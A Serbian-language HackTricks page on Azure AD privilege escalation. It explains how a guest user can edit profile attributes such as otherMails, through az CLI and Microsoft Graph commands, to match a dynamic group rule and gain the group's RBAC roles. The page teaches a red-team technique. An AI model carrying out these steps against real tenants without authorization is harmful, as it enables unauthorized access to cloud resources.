Az - Dynamic Groups Privesc
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Dynamic groups su grupe koje imaju set pravila konfigurisanih i svi korisnici ili uređaji koji se poklapaju sa pravilima se dodaju u grupu. Svaki put kada se atribut korisnika ili uređaja promeni, dinamička pravila se ponovo proveravaju. A kada se novo pravilo kreira, svi uređaji i korisnici se proveravaju.
Dinamičkim grupama se mogu dodeliti Azure RBAC uloge, ali nije moguće dodati AzureAD uloge dinamičkim grupama.
Ova funkcija zahteva Azure AD premium P1 licencu.
Privesc
Imajte na umu da po defaultu bilo koji korisnik može pozvati goste u Azure AD, tako da, ako dinamička grupa pravilo daje dozvole korisnicima na osnovu atributa koji se mogu postaviti kod novog gosta, moguće je kreirati gosta sa ovim atributima i escalirati privilegije. Takođe je moguće da gost upravlja svojim profilom i menja ove atribute.
Dobijte grupe koje omogućavaju dinamičko članstvo: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Primer
- Primer pravila:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
- Opis pravila: Bilo koji gost korisnik sa sekundarnim emailom koji sadrži string 'security' biće dodat u grupu
Za email gost korisnika, prihvatite pozivnicu i proverite trenutne postavke tog korisnika u https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Nažalost, stranica ne dozvoljava modifikaciju vrednosti atributa, tako da moramo koristiti API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.